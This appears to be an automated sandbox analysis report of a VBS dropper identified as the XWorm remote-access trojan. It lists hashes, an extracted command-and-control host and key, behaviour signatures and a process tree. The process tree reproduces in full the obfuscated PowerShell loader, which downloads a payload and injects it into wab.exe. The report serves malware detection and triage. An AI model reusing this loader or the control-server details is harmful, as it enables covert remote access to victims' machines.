Analysis
-
max time kernel
144s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
24-05-2024 13:13
Static task
static1
Behavioral task
behavioral1
Sample
b8ac41b4cb337b5d1c12345f1cfbf125efeaafb14f7bdbac85717a358ed2a1d1.vbs
Resource
win7-20240221-en
General
-
Target
b8ac41b4cb337b5d1c12345f1cfbf125efeaafb14f7bdbac85717a358ed2a1d1.vbs
-
Size
896KB
-
MD5
a227043beb151087c1798b6f9aaabd4c
-
SHA1
b2c4537386ed7931d9df29719f11f0f019e0f43a
-
SHA256
b8ac41b4cb337b5d1c12345f1cfbf125efeaafb14f7bdbac85717a358ed2a1d1
-
SHA512
1031ce3bea154181078799db133f2a8e419f912d548b69bd21572707bd7a3cf2c44cc273b1f582a0edcae73523c2927c210c0917c758b92364d64977b2ca208e
-
SSDEEP
12288:qzTzUyR7hSRac+qkLmttaGgMskgqoiMHsp9p:UXh+k+taGKqoJOp
Malware Config
Extracted
xworm
5.0
x5387400.duckdns.org:8896
F4ssR8b386Bj6q2g
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1484-65-0x0000000000F00000-0x0000000000F10000-memory.dmp family_xworm -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 16 3020 powershell.exe 18 3020 powershell.exe 20 3020 powershell.exe 22 3020 powershell.exe 23 3020 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 1484 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2344 powershell.exe 1484 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2344 set thread context of 1484 2344 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 3020 powershell.exe 3020 powershell.exe 2344 powershell.exe 2344 powershell.exe 2344 powershell.exe 1484 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2344 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 3020 powershell.exe Token: SeDebugPrivilege 2344 powershell.exe Token: SeDebugPrivilege 1484 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 1484 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 5052 wrote to memory of 3020 5052 WScript.exe powershell.exe PID 5052 wrote to memory of 3020 5052 WScript.exe powershell.exe PID 3020 wrote to memory of 4216 3020 powershell.exe cmd.exe PID 3020 wrote to memory of 4216 3020 powershell.exe cmd.exe PID 3020 wrote to memory of 2344 3020 powershell.exe powershell.exe PID 3020 wrote to memory of 2344 3020 powershell.exe powershell.exe PID 3020 wrote to memory of 2344 3020 powershell.exe powershell.exe PID 2344 wrote to memory of 4380 2344 powershell.exe cmd.exe PID 2344 wrote to memory of 4380 2344 powershell.exe cmd.exe PID 2344 wrote to memory of 4380 2344 powershell.exe cmd.exe PID 2344 wrote to memory of 1484 2344 powershell.exe wab.exe PID 2344 wrote to memory of 1484 2344 powershell.exe wab.exe PID 2344 wrote to memory of 1484 2344 powershell.exe wab.exe PID 2344 wrote to memory of 1484 2344 powershell.exe wab.exe PID 2344 wrote to memory of 1484 2344 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b8ac41b4cb337b5d1c12345f1cfbf125efeaafb14f7bdbac85717a358ed2a1d1.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$eksaminering = 1;$Panscientist='Sub';$Panscientist+='strin';$Panscientist+='g';Function Handspec($Televisionsnettenes){$Moralisation247=$Televisionsnettenes.Length-$eksaminering;For($Hdqrs=5;$Hdqrs -lt $Moralisation247;$Hdqrs+=6){$Junco+=$Televisionsnettenes.$Panscientist.Invoke( $Hdqrs, $eksaminering);}$Junco;}function Tramman($Hastener){& ($Cosmologies) ($Hastener);}$Fljlskjoler=Handspec ' OverMSqui.oSelinzga.opiVerselahslulUdlbsaCotil/N.umi5Fry t.Co.pa0Fordu Agnoi(thereWC.mpaiNay,rnMas edRegisoResliw aksesS,mek PinnaN KanaTFiber Jak e1 Dubb0Trekv.Pseud0Udsm.;.inis PrecoWScoloi For nbyrin6Sabba4 Port;Bille kurslx .phe6 Kree4Ro,nt;Aktie Burmer Da avDomin:Vildn1Bi,li2Domme1Immat.syd.o0Ureth)Goos SlyngGshipweLeucacSaturk KrypoGazel/Angst2U vlg0Slkke1 stt,0Distr0 Eume1jacko0Skinn1Al.ri AlwatFDobbei EksprDeveie Moraffl.skoIntrexResul/ Sten1Serie2Ps,ko1Perem.tranl0Mo,el ';$Querimonies=Handspec 'NuculU.rspas KunseKr,ktrKatho-HyperALinj gDelpreNew on TilltTilpa ';$Explorator=Handspec 'Sst,rhSpoketVans tParslpr.manswhees:Ggle /Vandf/ LaurwAnat,wAfholwGifti.DiollsSpongeChro.nArchid ForksUfattpEgonsaStr bcTebore Ny n.P pircmynheoPrecomSemic/MoralpUn larNoncooPrygl/.ensld GisalAftrd/ p,iveKnsbj7StikloSolilpDutchyBnlig8Prope ';$Forskningscenterets=Handspec 'Phro > Taro ';$Cosmologies=Handspec 'VicisiBarieeTudlix .ham ';$Overhair='Mottos';$Nonpros = Handspec 'KatteeSnubbcHyp,rhUnsh oHo,do Suppe%Poseka UdlipNyslvpDispodWo,gaaPernatTransastere%Skure\.ntheL ramdInvene NedgrJenvimSy.rpaNondecAnthrhLa ereGabbitS inntMakeseUdspinHydrosOopho.Toph K MetauMi,idr A,sa Outpr&Sigva& Expe Lar.eBar kc OverhPeriooEquic KromitM,nke ';Tramman (Handspec 'Begor$Beto gGladllRupisoUnswibChacoaChiselEtati:EksotPf.odse InteaForbrrS.ulkmOutsea.ensaiSouvenT.ppesKultu=trans(Kon,rcInte mGranddBouri Scrat/SupercSelme eluci$DebilNTaoisoFelttnDis tpMel,er HyleoSt pes Opri)Rumba ');Tramman (Handspec 'Zamb.$MisspgVinielKorkeoBluefbT,nikaSkygglQuod,:UdganpJacobu Borts ConitUnioneEndivn Boa dSporie UbemsFredf=Windo$Stre.EPostuxDolmep Wergl TjekoKomperAksgraKoll tHattioVarmerKonst.Nummus Fi.apKaff l,ociaiNosogtSrett( grat$ subpFBu eao Pyror.oojasAce ykRechanBostoiP,trun StjfgBulb sRealic,armpeM ensnRernetMsketeUdvikrFranceFadertchefpsMaioi)Triba ');$Explorator=$pustendes[0];$Bumblings= (Handspec 'Manus$SgeregCirc.lBlytaoSknhebGstelaVrdillAkse :DisplFSidepaMo ifrBy,tevAfibreSpurvlS.ackl kkileZoolotSubsk=ClareNBejleeSchiswgifti-RecubON ninbFremfj AfsleGeadec Ge lt Gira MeldrSBytt yMonersVidertEksile KapimCir.i.,iquaN Com.eOpregt.ross.LyknsWSy,paeUnco,b,fsnrCUndislGlau.iWr,biePlastnTamist');$Bumblings+=$Pearmains[1];Tramman ($Bumblings);Tramman (Handspec ' tikm$S,ampFThoriaReechr R.devSup,eeUnulclItonilSoapfe U,clt.ungu. IsraHStandex.verauncred Bh geo.acor ,rkmsSplat[Napal$ PhotQT ahou In,peSp.rirIntraiShabbmAlbumo FolknGo.sai,nname AutosGang ]Datal=Dinar$klargFsade,l emijKbesulBran,sWindok FabrjUndeso.ecuplGadabeLipogrNinia ');$Uformuenheds=Handspec 'buffo$Kre.tFZitasaB tchrD ktov Nephe,epsblParablKrimieNo.attSofte.OversDCallooH,lebwB,sidnDek,tlJo,efoVerdia hyssd DietFIvywoiOrddelSljdle Curi(Hanke$ OverE Pl uxt issp KontlDdbi.oChr,srMenueaModtatPilloo Cri rafbre,Ele t$ ekstCB belyCirkuk,ylogeAf etlGastrtDishau,eputrStorhsFremf)Baldp ';$Cykelturs=$Pearmains[0];Tramman (Handspec ' Spyd$Kreerg .ipelCar oo.empebMusk.aindh.lmi,sp:SmlenMMusl.eDiphyrDilutiNondidFejlki s.eca Ent nLa ereStvlerDend.n monoeUnionsMelle=F rtt(Ma.dsTKrse,eNymphs AdaptBagpa- BagbP JeriaLargetBeatmhHib,r Ndigs$ PartCT ucuyTutork En,eeFortrlDobbetGaranuOffenrShechsRe ul)Forbi ');while (!$Meridianernes) {Tramman (Handspec 'Aflej$UdbedgTr.nslSculkoJubilbAf.taa,edthlNonun: opliKTrafio.oskulSkriflOverge KombgSurviiRefraeBi.chvhpar rMyxe,estalel Bests S amePapertColops Jets=Couch$ xacttfrtidrKonseuCreweeLutri ') ;Tramman $Uformuenheds;Tramman (Handspec 'vejrmSUnspot orlsaBk,enrNonsetMonti-UdlndSElertl Sa.eeTavshe pro ptimia Ophth4Quil ');Tramman (Handspec 'Brita$We sdgSennilJ,beroKugedb Sub.aAnvenl,ereg:imporMCephae HybrrDure iGradmdN.mmeifruesa .kamnpainteFoliar.ilianAn,aceB sils prek=Hyp.i(B,werTDaim e klipsBevbntSpr,n-Di hpPClar.aSansetForlah Musc Eve,n$Ind,mCMaaneyW.llckSkakkequirkl SphetManipunondirCartosHall )Rr,gg ') ;Tramman (Handspec 'Hobbi$Bredeg S.lll afskoS onebFaktua Fhovl Pneu:.efamB Vandr KwannV.caleNarkolUnmeegnoesieAer,mrberoes Skar=Debit$Sim ag.emifl In.uo orlibAnt,laa skelklane:.elehB Dursr.tvbrePrewecMessecLittei Skova Yoket Mutue.dste+ Su r+De.as%Nonsh$MillipLoev,uLeje s Bru tOpeneesputen P ntdTelepeboligsEnerg.Handycmetr.o PostuUnbianFavortUnwhi ') ;$Explorator=$pustendes[$Brnelgers];}$Gymnogenous=317537;$Stopfodring=29102;Tramman (Handspec 'Rizzo$KonfegLkkeslHalvpoDyb abResheaAa,enlneure: sho,NIndv e ArbecModsteTidinsk biks SpinikuldetPresoaDdsserRes liVenisa OprunForvei Sym.sPostdmRhamn Bund= Opsl cryobG.aponeintertTung -PreinCUnquio SammnCa,olt ,jlpeSyretn BloktDi,tr nio$AntikC BedryplankkMidcaeOnychlHingstOutw,uCringr K,ydsAal.o ');Tramman (Handspec 'Anapt$radiogElectl FjoloSvrvgbdingla.terllUnpra: ournSTrillt estei ForegPlanabHy.obo BrnerCarredsuper Spra,=Ulcer Tu,is[DiploSSpaltyFondssGysert B.mmeHabi.mFange.K rakCKni mo Kystn Ver v AfspeUpaakrNougatInter]Fomi,:pierc:EridaFopinirVaso.o ,ausm ReliB Wan,aOverhsThreaeSt,ll6 .esk4,ressSPhototLad orUdraai No,anBevisgBloka(e,tra$an elNI,buseUbestcScripe Tilss C,risClam iHovedtFittiaTetrarUnproiindisa arlinHaggaiSchems Dog m,irku)Sukke ');Tramman (Handspec ' Cens$Tandsg RelelVant oSfartbNonpua yprlHensy:Mi.deKUn,uiuIntrompresceAdsminFragmi ntrek Te.nkm rroe Ba.gnUndersSaccu U.ha=igloe .onc[Pt.alSbelsiyTallysKaemptFrem ePoulamSte,e.da seTHypodeDestix etost Psy . Ce,iEUdb.tnEquidcPretio BrugdInt aiAttranWittigKwela]Jvnfr:Samme:IrritA.ilitS LevaC UncaI.oligIShirt. inyG valgeKortstMissiSAvi.st Gen,r .raniGtcp,nBugv.g,ades(Pil.r$EtnolS U cot Illuidagshg tychbVolcao FletrCommodOpels) Aa,u ');Tramman (Handspec ' Marg$EpoxygSkydelKreeroFormkbAnvenaDeroglIndko:ScrubFSt,rse Eu rmDipp oMamalgAgerdt Aec.yGlittvGasrae UncoaAutalaSkolor ReadsBanem2 Oven4 ulso=Nonfi$ B ssKSyntauByggemLimiteMor.enreminiBleatkElytrkUn cceSoli.nba twsFod.u.Ko,tvsS.redu,dsteb TequsFa vet NarirPeritiE stenVandrgSt rs(Flage$SuperG de.mySexetm Da.inStyrtoDandrgHeltae rednI.teroWordluOcellsGrave, prud$mulieS P,lpt F,rsoForskpOwherfAfdrao paupdGastrrPensaiBu.shnHe itgI sol)Wa er ');Tramman $Femogtyveaars24;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ldermachettens.Kur && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$eksaminering = 1;$Panscientist='Sub';$Panscientist+='strin';$Panscientist+='g';Function Handspec($Televisionsnettenes){$Moralisation247=$Televisionsnettenes.Length-$eksaminering;For($Hdqrs=5;$Hdqrs -lt $Moralisation247;$Hdqrs+=6){$Junco+=$Televisionsnettenes.$Panscientist.Invoke( $Hdqrs, $eksaminering);}$Junco;}function Tramman($Hastener){& ($Cosmologies) ($Hastener);}$Fljlskjoler=Handspec ' OverMSqui.oSelinzga.opiVerselahslulUdlbsaCotil/N.umi5Fry t.Co.pa0Fordu Agnoi(thereWC.mpaiNay,rnMas edRegisoResliw aksesS,mek PinnaN KanaTFiber Jak e1 Dubb0Trekv.Pseud0Udsm.;.inis PrecoWScoloi For nbyrin6Sabba4 Port;Bille kurslx .phe6 Kree4Ro,nt;Aktie Burmer Da avDomin:Vildn1Bi,li2Domme1Immat.syd.o0Ureth)Goos SlyngGshipweLeucacSaturk KrypoGazel/Angst2U vlg0Slkke1 stt,0Distr0 Eume1jacko0Skinn1Al.ri AlwatFDobbei EksprDeveie Moraffl.skoIntrexResul/ Sten1Serie2Ps,ko1Perem.tranl0Mo,el ';$Querimonies=Handspec 'NuculU.rspas KunseKr,ktrKatho-HyperALinj gDelpreNew on TilltTilpa ';$Explorator=Handspec 'Sst,rhSpoketVans tParslpr.manswhees:Ggle /Vandf/ LaurwAnat,wAfholwGifti.DiollsSpongeChro.nArchid ForksUfattpEgonsaStr bcTebore Ny n.P pircmynheoPrecomSemic/MoralpUn larNoncooPrygl/.ensld GisalAftrd/ p,iveKnsbj7StikloSolilpDutchyBnlig8Prope ';$Forskningscenterets=Handspec 'Phro > Taro ';$Cosmologies=Handspec 'VicisiBarieeTudlix .ham ';$Overhair='Mottos';$Nonpros = Handspec 'KatteeSnubbcHyp,rhUnsh oHo,do Suppe%Poseka UdlipNyslvpDispodWo,gaaPernatTransastere%Skure\.ntheL ramdInvene NedgrJenvimSy.rpaNondecAnthrhLa ereGabbitS inntMakeseUdspinHydrosOopho.Toph K MetauMi,idr A,sa Outpr&Sigva& Expe Lar.eBar kc OverhPeriooEquic KromitM,nke ';Tramman (Handspec 'Begor$Beto gGladllRupisoUnswibChacoaChiselEtati:EksotPf.odse InteaForbrrS.ulkmOutsea.ensaiSouvenT.ppesKultu=trans(Kon,rcInte mGranddBouri Scrat/SupercSelme eluci$DebilNTaoisoFelttnDis tpMel,er HyleoSt pes Opri)Rumba ');Tramman (Handspec 'Zamb.$MisspgVinielKorkeoBluefbT,nikaSkygglQuod,:UdganpJacobu Borts ConitUnioneEndivn Boa dSporie UbemsFredf=Windo$Stre.EPostuxDolmep Wergl TjekoKomperAksgraKoll tHattioVarmerKonst.Nummus Fi.apKaff l,ociaiNosogtSrett( grat$ subpFBu eao Pyror.oojasAce ykRechanBostoiP,trun StjfgBulb sRealic,armpeM ensnRernetMsketeUdvikrFranceFadertchefpsMaioi)Triba ');$Explorator=$pustendes[0];$Bumblings= (Handspec 'Manus$SgeregCirc.lBlytaoSknhebGstelaVrdillAkse :DisplFSidepaMo ifrBy,tevAfibreSpurvlS.ackl kkileZoolotSubsk=ClareNBejleeSchiswgifti-RecubON ninbFremfj AfsleGeadec Ge lt Gira MeldrSBytt yMonersVidertEksile KapimCir.i.,iquaN Com.eOpregt.ross.LyknsWSy,paeUnco,b,fsnrCUndislGlau.iWr,biePlastnTamist');$Bumblings+=$Pearmains[1];Tramman ($Bumblings);Tramman (Handspec ' tikm$S,ampFThoriaReechr R.devSup,eeUnulclItonilSoapfe U,clt.ungu. IsraHStandex.verauncred Bh geo.acor ,rkmsSplat[Napal$ PhotQT ahou In,peSp.rirIntraiShabbmAlbumo FolknGo.sai,nname AutosGang ]Datal=Dinar$klargFsade,l emijKbesulBran,sWindok FabrjUndeso.ecuplGadabeLipogrNinia ');$Uformuenheds=Handspec 'buffo$Kre.tFZitasaB tchrD ktov Nephe,epsblParablKrimieNo.attSofte.OversDCallooH,lebwB,sidnDek,tlJo,efoVerdia hyssd DietFIvywoiOrddelSljdle Curi(Hanke$ OverE Pl uxt issp KontlDdbi.oChr,srMenueaModtatPilloo Cri rafbre,Ele t$ ekstCB belyCirkuk,ylogeAf etlGastrtDishau,eputrStorhsFremf)Baldp ';$Cykelturs=$Pearmains[0];Tramman (Handspec ' Spyd$Kreerg .ipelCar oo.empebMusk.aindh.lmi,sp:SmlenMMusl.eDiphyrDilutiNondidFejlki s.eca Ent nLa ereStvlerDend.n monoeUnionsMelle=F rtt(Ma.dsTKrse,eNymphs AdaptBagpa- BagbP JeriaLargetBeatmhHib,r Ndigs$ PartCT ucuyTutork En,eeFortrlDobbetGaranuOffenrShechsRe ul)Forbi ');while (!$Meridianernes) {Tramman (Handspec 'Aflej$UdbedgTr.nslSculkoJubilbAf.taa,edthlNonun: opliKTrafio.oskulSkriflOverge KombgSurviiRefraeBi.chvhpar rMyxe,estalel Bests S amePapertColops Jets=Couch$ xacttfrtidrKonseuCreweeLutri ') ;Tramman $Uformuenheds;Tramman (Handspec 'vejrmSUnspot orlsaBk,enrNonsetMonti-UdlndSElertl Sa.eeTavshe pro ptimia Ophth4Quil ');Tramman (Handspec 'Brita$We sdgSennilJ,beroKugedb Sub.aAnvenl,ereg:imporMCephae HybrrDure iGradmdN.mmeifruesa .kamnpainteFoliar.ilianAn,aceB sils prek=Hyp.i(B,werTDaim e klipsBevbntSpr,n-Di hpPClar.aSansetForlah Musc Eve,n$Ind,mCMaaneyW.llckSkakkequirkl SphetManipunondirCartosHall )Rr,gg ') ;Tramman (Handspec 'Hobbi$Bredeg S.lll afskoS onebFaktua Fhovl Pneu:.efamB Vandr KwannV.caleNarkolUnmeegnoesieAer,mrberoes Skar=Debit$Sim ag.emifl In.uo orlibAnt,laa skelklane:.elehB Dursr.tvbrePrewecMessecLittei Skova Yoket Mutue.dste+ Su r+De.as%Nonsh$MillipLoev,uLeje s Bru tOpeneesputen P ntdTelepeboligsEnerg.Handycmetr.o PostuUnbianFavortUnwhi ') ;$Explorator=$pustendes[$Brnelgers];}$Gymnogenous=317537;$Stopfodring=29102;Tramman (Handspec 'Rizzo$KonfegLkkeslHalvpoDyb abResheaAa,enlneure: sho,NIndv e ArbecModsteTidinsk biks SpinikuldetPresoaDdsserRes liVenisa OprunForvei Sym.sPostdmRhamn Bund= Opsl cryobG.aponeintertTung -PreinCUnquio SammnCa,olt ,jlpeSyretn BloktDi,tr nio$AntikC BedryplankkMidcaeOnychlHingstOutw,uCringr K,ydsAal.o ');Tramman (Handspec 'Anapt$radiogElectl FjoloSvrvgbdingla.terllUnpra: ournSTrillt estei ForegPlanabHy.obo BrnerCarredsuper Spra,=Ulcer Tu,is[DiploSSpaltyFondssGysert B.mmeHabi.mFange.K rakCKni mo Kystn Ver v AfspeUpaakrNougatInter]Fomi,:pierc:EridaFopinirVaso.o ,ausm ReliB Wan,aOverhsThreaeSt,ll6 .esk4,ressSPhototLad orUdraai No,anBevisgBloka(e,tra$an elNI,buseUbestcScripe Tilss C,risClam iHovedtFittiaTetrarUnproiindisa arlinHaggaiSchems Dog m,irku)Sukke ');Tramman (Handspec ' Cens$Tandsg RelelVant oSfartbNonpua yprlHensy:Mi.deKUn,uiuIntrompresceAdsminFragmi ntrek Te.nkm rroe Ba.gnUndersSaccu U.ha=igloe .onc[Pt.alSbelsiyTallysKaemptFrem ePoulamSte,e.da seTHypodeDestix etost Psy . Ce,iEUdb.tnEquidcPretio BrugdInt aiAttranWittigKwela]Jvnfr:Samme:IrritA.ilitS LevaC UncaI.oligIShirt. inyG valgeKortstMissiSAvi.st Gen,r .raniGtcp,nBugv.g,ades(Pil.r$EtnolS U cot Illuidagshg tychbVolcao FletrCommodOpels) Aa,u ');Tramman (Handspec ' Marg$EpoxygSkydelKreeroFormkbAnvenaDeroglIndko:ScrubFSt,rse Eu rmDipp oMamalgAgerdt Aec.yGlittvGasrae UncoaAutalaSkolor ReadsBanem2 Oven4 ulso=Nonfi$ B ssKSyntauByggemLimiteMor.enreminiBleatkElytrkUn cceSoli.nba twsFod.u.Ko,tvsS.redu,dsteb TequsFa vet NarirPeritiE stenVandrgSt rs(Flage$SuperG de.mySexetm Da.inStyrtoDandrgHeltae rednI.teroWordluOcellsGrave, prud$mulieS P,lpt F,rsoForskpOwherfAfdrao paupdGastrrPensaiBu.shnHe itgI sol)Wa er ');Tramman $Femogtyveaars24;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ldermachettens.Kur && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43udzkxc.0yi.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Ldermachettens.KurFilesize
451KB
MD5025a6247195641a554ded5d68762070f
SHA16a3e9a2bc4f57a8d63c2a860e7aa7069ddb5a0b5
SHA256672dfc440d33e5cc5c8dc760df125ac4869e6bd412c97008738c3a9e9e16d9fb
SHA51267333f46fdcf2b94aba54f273a5c9d06ef4ce6b9e3702b3925a8dfb56d0c2653b419015acdd54cbf6620e53d86d962dec5403215c1ad23d7891c492c4c971bdc
-
memory/1484-71-0x0000000024230000-0x000000002423A000-memory.dmpFilesize
40KB
-
memory/1484-70-0x00000000243B0000-0x0000000024442000-memory.dmpFilesize
584KB
-
memory/1484-66-0x0000000024080000-0x000000002411C000-memory.dmpFilesize
624KB
-
memory/1484-65-0x0000000000F00000-0x0000000000F10000-memory.dmpFilesize
64KB
-
memory/1484-63-0x0000000000F00000-0x0000000002154000-memory.dmpFilesize
18.3MB
-
memory/2344-39-0x00000000066E0000-0x00000000066FA000-memory.dmpFilesize
104KB
-
memory/2344-23-0x0000000005280000-0x00000000052A2000-memory.dmpFilesize
136KB
-
memory/2344-25-0x0000000005AC0000-0x0000000005B26000-memory.dmpFilesize
408KB
-
memory/2344-35-0x0000000005C40000-0x0000000005F94000-memory.dmpFilesize
3.3MB
-
memory/2344-36-0x0000000006150000-0x000000000616E000-memory.dmpFilesize
120KB
-
memory/2344-37-0x0000000006190000-0x00000000061DC000-memory.dmpFilesize
304KB
-
memory/2344-38-0x0000000007780000-0x0000000007DFA000-memory.dmpFilesize
6.5MB
-
memory/2344-21-0x0000000002820000-0x0000000002856000-memory.dmpFilesize
216KB
-
memory/2344-40-0x0000000007440000-0x00000000074D6000-memory.dmpFilesize
600KB
-
memory/2344-41-0x00000000073A0000-0x00000000073C2000-memory.dmpFilesize
136KB
-
memory/2344-42-0x00000000083B0000-0x0000000008954000-memory.dmpFilesize
5.6MB
-
memory/2344-24-0x0000000005960000-0x00000000059C6000-memory.dmpFilesize
408KB
-
memory/2344-44-0x0000000008960000-0x000000000C88A000-memory.dmpFilesize
63.2MB
-
memory/2344-22-0x0000000005330000-0x0000000005958000-memory.dmpFilesize
6.2MB
-
memory/3020-47-0x00007FFCD7CA0000-0x00007FFCD8761000-memory.dmpFilesize
10.8MB
-
memory/3020-46-0x00007FFCD7CA3000-0x00007FFCD7CA5000-memory.dmpFilesize
8KB
-
memory/3020-0-0x00007FFCD7CA3000-0x00007FFCD7CA5000-memory.dmpFilesize
8KB
-
memory/3020-12-0x00007FFCD7CA0000-0x00007FFCD8761000-memory.dmpFilesize
10.8MB
-
memory/3020-69-0x00007FFCD7CA0000-0x00007FFCD8761000-memory.dmpFilesize
10.8MB
-
memory/3020-11-0x00007FFCD7CA0000-0x00007FFCD8761000-memory.dmpFilesize
10.8MB
-
memory/3020-1-0x000002202B090000-0x000002202B0B2000-memory.dmpFilesize
136KB